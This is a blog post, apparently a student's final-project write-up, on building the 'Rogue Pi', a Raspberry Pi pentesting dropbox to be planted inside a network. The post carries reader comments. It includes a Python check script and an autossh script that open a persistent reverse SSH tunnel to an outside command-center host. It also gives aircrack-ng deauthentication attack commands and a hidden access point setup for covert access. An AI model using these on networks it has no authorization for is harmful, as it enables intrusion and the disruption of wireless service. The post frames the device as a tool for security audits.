Developing the Rogue Pi
Developing the Rogue Pi for my final project at BCIT was a great experience. It provided me the opportunity to play around with the Raspberry Pi and build something of valuable use. Instead of copying and pasting my final report into here, I will instead focus on a few points of the project that I found the most interesting.
Side Note: A full report with diagrams, installation guides, and all code will be uploaded at a later date.
60 Second Deployment
During a security audit scenario, the analyst is planting a device inside a network room. Spending a lot of time making sure the dropbox is working is out of the question. To minimize the risk of detection, the Rogue Pi has been specially tweaked to allow for a speedy boot-up time meaning it can execute and complete the On Board System Check faster.
From the moment the Rogue Pi is powered up, it takes exactly 60 seconds for the device to boot-up, start the On Board System Check, and run through the tests. After the time is up, the analyst will know if the Rogue Pi has obtained Internet connectivity, pinged the default gateway, obtained an IP address, and connected back out through the reverse tunnel successfully. You can view the bootup time report at the bottom of this post. The BootChart gives a full breakdown of all the services and their respective startup times.
On Board System Check
The visual feedback system was definitely the most fun to develop because it gave me the chance to play around with the i2c bus and connect an external component to the Raspberry Pi via the GPIO interface. No longer was I looking at a console to see if a throw statement spit out an error. Instead I was watching the Rogue Pi to see if the deep red hue was emitting from the LCD. When checks did go as intended I was greeted with a green display letting me know my code might be working – key word might.
#! /usr/bin/env python # ______ ______ __ # | __ \.-----.-----.--.--.-----.| __ \__| # | <| _ | _ | | | -__|| __/ | # |___|__||_____|___ |_____|_____||___| |__| # |_____| v1.0 # # Author: Kalen Wessel # Date: February 16th, 2013 from time import sleep from Adafruit_I2C import Adafruit_I2C from Adafruit_MCP230xx import Adafruit_MCP230XX from Adafruit_CharLCDPlate import Adafruit_CharLCDPlate from subprocess import call from sys import exit from ConfigParser import SafeConfigParser import smbus import subprocess import re import socket import fcntl import struct import paramiko import socket import signal # DEFINE network interface iface = 'eth0' # INI file config file # Load in user name and IP address of command center # for the reverse shell test parser = SafeConfigParser() parser.read('/home/sec/.reverse_config/setting.conf') ccIP = parser.get('reverse_shell', 'reverseDest') # initialize the LCD plate # use busnum = 0 for raspi version 1 (256MB) and busnum = 1 for version 2 lcd = Adafruit_CharLCDPlate(busnum = 1) def TimeoutException(): lcd.clear() lcd.backlight(lcd.OFF) exit() def timeout(signum, frame): raise TimeoutException() # Function which gets the IP address of a network interface def get_ip_address(ifname): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) return socket.inet_ntoa(fcntl.ioctl( s.fileno(), 0x8915, # SIOCGIFADDR struct.pack('256s', ifname[:15]) )[20:24]) # Function which gets the Default Gateway IP address def get_gateway(ifname): proc = subprocess.Popen("ip route list dev " + ifname + " | awk ' /^default/ {print $3}'", \ shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE) return_code = proc.wait() for line in proc.stdout: line return line def main(): while 1: if (lcd.buttonPressed(lcd.LEFT)): signal.alarm(0) init_test() if (lcd.buttonPressed(lcd.RIGHT)): # End of system check lcd.backlight(lcd.OFF) exit() # Function for running all of the system tests def init_test(): # clear display lcd.clear() # Commented out to speed up overal test time # Starting On Board System Check lcd.backlight(lcd.BLUE) lcd.message(" Rogue Pi\n Kalen Wessel") sleep(21) # --------------------- # | Ping System Check | # --------------------- # Put stderr and stdout into pipes proc = subprocess.Popen("ping -c 2 google.com 2>&1", \ shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE) return_code = proc.wait() # Read from pipes # stdout for line in proc.stdout: if "loss" in line: packet_loss = progress = re.search('\d*%',line).group() if int(packet_loss.split('%')[0]) > 0: lcd.clear() lcd.backlight(lcd.RED) lcd.message("Ping Google:\nFailed") sleep(1) #print packet_loss + " packet loss." else: lcd.clear() lcd.backlight(lcd.GREEN) lcd.message("Ping Google:\nSuccess") sleep(1) #stderr for line in proc.stderr: print("stderr: " + line.rstrip()) # -------------------- # | Ping Default GW | # -------------------- ip_gateway = get_gateway(iface) proc = subprocess.Popen ("ping -c 2 " + ip_gateway + " 2>&1", \ shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE) return_code = proc.wait() # Read from pipes # stdout for line in proc.stdout: if "loss" in line: packet_loss = re.search('\d*%',line).group() if int(packet_loss.split('%')[0]) > 0: lcd.clear() lcd.backlight(lcd.RED) lcd.message("Ping Gateway:\nFailed") sleep(1) #print ip_gateway + packet_loss + " packet loss for gateway." else: lcd.clear() lcd.backlight(lcd.GREEN) lcd.message("Ping Gateway:\nSuccess") sleep(1) #print "Gateway is reachable" # stderr for line in proc.stderr: print("stderr: " + line.rstrip()) # -------------------- # | DHCP IP Address | # -------------------- try : ip_address = get_ip_address(iface) lcd.clear() lcd.backlight(lcd.GREEN) lcd.message("IP:\n" + ip_address) sleep(1) except : lcd.clear() lcd.backlight(lcd.RED) lcd.message("No IP obtained") sleep(1) # ------------------- # | Reverse Shell | # ------------------- try: ssh = paramiko.SSHClient() ssh.load_system_host_keys() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(ccIP, username='twi7ch', password='none') except paramiko.AuthenticationException: lcd.clear() lcd.backlight(lcd.GREEN) lcd.message("Reverse Tunnel:\nSuccess") sleep(1) except socket.error: lcd.clear() lcd.message("Reverse Shell: \nFailed") lcd.backlight(lcd.RED) sleep(1) # Do we want to rerun the test? lcd.clear() lcd.backlight(lcd.YELLOW) lcd.message("Run test again?") sleep(1) lcd.clear() lcd.message("Yes = Left Btn\nNo = Right Btn") signal.signal(signal.SIGALRM, timeout) #change 5 to however many seconds you need signal.alarm(10) try: main() except TimeoutException: exit() # Start the on board system check init_test() main() |
Reverse Tunnel
Setting up and testing the reverse tunnel was another important milestone in the progress of the Rogue Pi. Setting up a persistent reverse SSH tunnel over Ethernet is the bread and butter of any pentesting dropbox. Without having the ability to gain access to the device on the corporate network, the device is pretty much rendered useless.
Since I have multiple services calling for usernames and passwords, I created a standard config file which gets read into autossh. I also have the Python code which handles the On Board System check. This is the layout of the config. It’s nothing fancy, but it works and allows for IP addresses and usernames to be managed from one location.
/home/sec/.reverse_config/setting.conf
[reverse_shell] userName = Twi7ch reverseDest = 192.168.1.144 |
This is where the magic happens:
/etc/tunnel/tunnel.sh
#!/bin/bash set +e SSH_OPTIONS=" -i /etc/tunnel/id_rsa" # Always assume initial connection will be successful export AUTOSSH_GATETIME=0 # Disable echo service, relying on SSH exiting itself export AUTOSSH_PORT=0 # Read in the config file to grab the correct IP address i=0 while read line; do if [[ "$line" =~ ^[^#]*= ]]; then name[i]=`echo $line | cut -d'=' -f 1` value[i]=`echo $line | cut -d'=' -f 2-` ((i++)) fi done < /home/sec/.reverse_config/setting.conf destUser=${value[0]} destIP=${value[1]} #to test, use (check out man ssh for explanation of options: #autossh -vv -- $SSH_OPTIONS -o 'ControlPath none' -R 10101:localhost:22 [email protected] -N > /var/tunnel/user_sshlog.out 2> /var/tunnel/user_ssh_error.out & #once proven, use (and rem out previous command): autossh -vv -f -- $SSH_OPTIONS -o 'ControlPath none' -R 10101:localhost:22 ${destUser//[[:space:]]}@${destIP//[[:space:]]} -N > /var/log/tunnel/user_sshlog.out 2> /var/log/tunnel/user_ssh_error.out & |
Below is an image showing what happens when the reverse SSH tunnel cannot connect back to the Command Center.
Wireless Surveillance
Every office I’ve walked into has a few access points broadcasting SSIDs that are ready to be passively or actively probed. The 802.11 protocol is used by so many utilities now a days that is is a must to sniff the airwaves during a pentest. This is why the Rogue Pi is equipped with a wireless USB adapter; allowing for deauth attacks, capturing / packet injection, and creating Rogue Access Points.
Quick tip: When installing the aircrack-ng suite on Raspbian, pull from the following svn and run make with the unstable flag. The reason for unstable flag is to allow the use of the flag –ignore-negative-one. Depending on which wireless adapter you use, there is a kernel issue where it won’t allow you to select a broadcast channel. So to bypass this you use the –ignore-negative-one flag.
sudo apt-get remove --purge aircrack-ng sudo apt-get install libssl-dev sudo apt-get install subversion cd ~ mkdir aircrack-ng svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng cd aircrack-ng/ sudo make unstable=true install |
Here is an example demonstrating how to perform a deauth attack on the Rogue Pi using the flag to bypass the kernel problem.
# Put the card into monitor mode sudo airmon-ng start wlan0 # Search for nearby AP by issuing the command: # --ignore-negative-one is to bypass the kernel issue where it locks to a channel sudo airodump-ng -c 9 --ignore-negative-one mon0 # Write down the BSSID of the Access Point you wish to deauth. # Issue the following command to deauth all clients on the AP: # --ignore-negative-one is needed again to avoid locking to a channel sudo aireplay-ng -0 0 -a BSSID --ignore-negative-one mon0 |
Hidden Access Point
The following setup will allow the user to access the Rogue Pi through the hidden SSID. This will allow for access to the device in the case where eth0 drops and cannot reinitialize a connection. Of course the major limitation is wireless range. The user must be within a 30 meter radius of the device in hopes of obtaining a strong enough signal.
Donwload the following services for running an Access Point on the Pi.
sudo apt-get install rfkill hostapd hostap-utils iw dnsmasq |
Edit the network interface so that wlan0 automatically start onboot.
sudo nano /etc/network/interfaces # The wireless network interface allow-hotplug wlan0 iface wlan0 inet static address 192.168.2.1 netmask 255.255.255.0 |
Restart wlan0 by bringing down and up the interface
sudo ifdown wlan0 sudo ifup wlan0 |
Next modify the hostapd settings.
sudo nano /etc/hostapd/hostapd.conf # Wireless interface interface=wlan0 # Default driver driver=nl80211 # SSID name that must be known by the client ssid=RoguePi # Broadcast channel channel=6 # Send empty SSID in beacons and ignore probe request frames that do not # specify full SSID, i.e., require stations to know SSID. # default: disabled (0) # 1 = send empty (length=0) SSID in beacon and ignore probe request for # broadcast SSID # 2 = clear SSID (ASCII 0), but keep the original length (this may be required # with some clients that do not support empty SSID) and ignore probe # requests for broadcast SSID ignore_broadcast_ssid=2 |
Restart the hostapd service to force the changes to kick in.
sudo service hostapd restart
|
The last service the Rogue Pi needs configured before you can connect is DHCP. This is what distributes IP addresses to devices that connect to the Rogue Pi.
sudo nano /etc/dnsmasq.conf # Make sure the following lines are uncommented domain-needed interface=wlan0 dhcp-range=192.168.2.5,192.168.2.150,255.255.255.0,12h |
Restart dnsmasq so that it loads in the new changes
sudo service dnsmasq restart
|
The Rogue Pi is now running as a (semi) hidden access point. Anyone running software like Kismet or any Wifi Analyer will easily detect the hidden AP so don’t count on it staying under the radar for too long. As you can see below, from my Android phone I have manually added the SSID RoguePi and have successfully connected.
To demonstrate the weakness, here is a Wifi Analyzer App running from my phone showing me the Rogue Pi, even though hostapd has been configured not to broadcast its existence.
Adding a WPA2 passphrase would be a good start to securing the AP in case of detection, but since this is just a Proof of Concept I left that out. The airwaves are just a little bit more dangerous now.
Tools Tree
Here is a quick break down of the tools supported by the Rogue Pi. Most tools were compiled from source. (You can never be too paranoid)
Video Demonstration
To fully understand how the On Board System check works as well as the reverse shell, I created a short video to demo it. (The video is best viewed in full screen at 720p)
Hardware
Item | Cost | Source |
Raspberry Pi Model B 512MB RAM | $39.95 | Adafruit |
Adafruit RGB Negative 16×2 LCD+Keypad Kit for Raspberry Pi | $24.95 | Adafruit |
Adafruit Pi Box – Enclosure for Raspberry Pi Computers | $14.95 | Adafruit |
Protronix® USB Wireless Network WIFI Adapter w/ 5dBi Antenna | $10.67 | Amazon |
Patriot LX 16GB SDHC Class 10 | $10.00 | NCIX |
Cat5 Network Cable | $0.00 | Basement |
USB Power | $0.00 | Basement |
Total: | $100.52 |
Conclusion / Improvements
The Raspberry Pi has certainly proven itself in my eyes as a plausible platform for building low-cost penetration dropboxes. Its adaptive nature allows for so much expansion. Adding Bluetooth or even 3G capabilities could add for better covert data exfiltration. Due to deadlines with school I had to limit what I would do, but going forward I would love to build physical cases for the device to streamline the LCD, Wireless, and tactile buttons. Adding an external power source for scenarios where no free power outlet is available would be another good future improvement. There are many areas for improvement and hopefully over the summer I will find some time to play around with these ideas.
Boot Chart Diagram (Click for full view)
Credit:
This project wouldn’t have been possible without the help of so many useful guides and forum posts online. Here is a complete list of all sources I used during the making of the Rogue Pi.
Tutorial: Developing a Raspberry PI app with Visual Studio
Raspberry Pi Owncloud (dropbox clone)
asb/spindle · GitHub
Adafruit Pi Box – With LCD & RS232 DB9 by waterbury – Thingiverse
Modified Adafruit case design with LCD ^_^ : raspberry_pi
Adafruit Blue&White 16×2 LCD+Keypad Kit for Raspberry Pi ID: 1115 – $19.95 : Adafruit Industries, Unique & fun DIY electronics and kits
I2C_LCD, with 16×2 LCD, BitWizard
Raspberry Pi • View topic – 16 x 2 LCD case screen
pwnieexpress/Raspberry-Pwn · GitHub
How To : Use The Raspberry Pi As A Wireless Access Point/Router Part 1 » The Rantings and Ravings of a Madman
raspbian – Boot without starting X-server – Raspberry Pi Beta – Stack Exchange
RaspbianInstaller – Raspbian
FrontPage – Raspbian
RPi Performance – eLinux.org
Raspberry Pi Raspbian tuning / optimising / optimizing for reduced memory usage ( dropbear + getty + no ipv6 + dash + swap + noop + overclock + syslogd ) – eXtremeSHOK.com Blog
text_styles.jpg (639×408)
command line – Can’t install aircrack-ng – Ask Ubuntu
Raspberry Pwn: A pentesting release for the Raspberry Pi | Pwnie Express
Occu-Pi – A Raspberry Pi Project (Updated 11/01/12) | Robert’s Frellin Blog
ha pi – ha(ck with raspberry)pi
Bed Against The Wall: Ubuntu 10.10: “fixed channel mon0: -1″ Aircrack Problem With iwl3945
aircrack-ng usage and compat-wireless | PWNPI.NET
Running an I2P Svartkast on the Raspberry Pi: Even more cheap hardware to leave on someone else’s network
update PwnPi v3.0 – A Pen Test Drop Box distro for the Raspberry Pi
Cloning an SD Card on Linux – Mike Levin
Raspberry Pi • View topic – Clone sd card
Raspberry Pi • View topic – WiFi RT3070 problem
packages – sudo apt-get upgrade fails due to shared-mime-info.postinst error – Ask Ubuntu
shell-commands20050327.png (1153×1558)
Wardrive, Raspberry Pi Style! – SpiderLabs Anterior
Overview | Adafruit 16×2 Character LCD + Keypad for Raspberry Pi | Adafruit Learning System
How to Bruteforce SSH « ID’s blog
Raspberry Pi • View topic – Hidden/Sneaky Cases
How to use the I2C and SMBus
www.frank-buss.de/io-expander/i2c-test.py
Pi-Point :: Documentation
Ubuntu / Debian Linux: Services Configuration Tool to Start / Stop System Services
Gooscan – Aldeid
Chapter 3. Usage
onesixtyone SNMP scanner
smap – Linux command to look for VoIP devices
Pentesting VOIP – BackTrack Linux
VOIPSA : Resources : VoIP Security Tools
Outstanding post, at work now but plan on digging into the code later.
Pingback: Rogue Pi: A RPi Pentesting Dropbox
Pingback: rndm(mod) » Rogue Pi: A RPi Pentesting Dropbox
Pingback: Rogue Pi: A RPi Pentesting Dropbox | Daily IT News on IT BlogIT Blog
Pingback: Rogue Pi: A RPi Pentesting Dropbox - RaspberryPiBoards
Pingback: Rogue Pi – network penetration tester | Raspberry PiPod
Hi,
What you also could do is: when connected to a network, look for a host called “wpad”. Usually that is a proxy listening on e.g. 8080, 8000 or 3128. You could then tunnel the ssl connection through that. That needs some trickery when it is a microsoft proxy server using ntlm authentication.
Pingback: Rogue Pi: A RPi Pentesting Dropbox | Make, Electronics projects, electronic Circuits, DIY projects, Microcontroller Projects - makeelectronic.com
Pingback: Rogue Pi: A RPi Pentesting Dropbox | SIECURITY
Pingback: Rogue Pi: A RPi Pentesting Dropbox « adafruit industries blog
Pingback: Rogue Pi: un RPI Pentesting Dropbox - | Indagadores |Seguridad informatica |Seguridad en internet
Wondered if you had plans to make a distro image available? Seems the svn for aircrack is failing with some weird error. Thought an image would be a better way to start.
Thanks
Hey Robert,
I can try and build a base image – but it won’t be for a while.
What errors are you getting when you try to pull from the svn?
Thanks
Something like E175002: The options request returned invalid XML in the response: XML parse error at line 23…..
Ever seen that? I a, going to pull it on another device and see if I get same error.
Strange, I just tried pulling again and it had no problems.
Great post thank you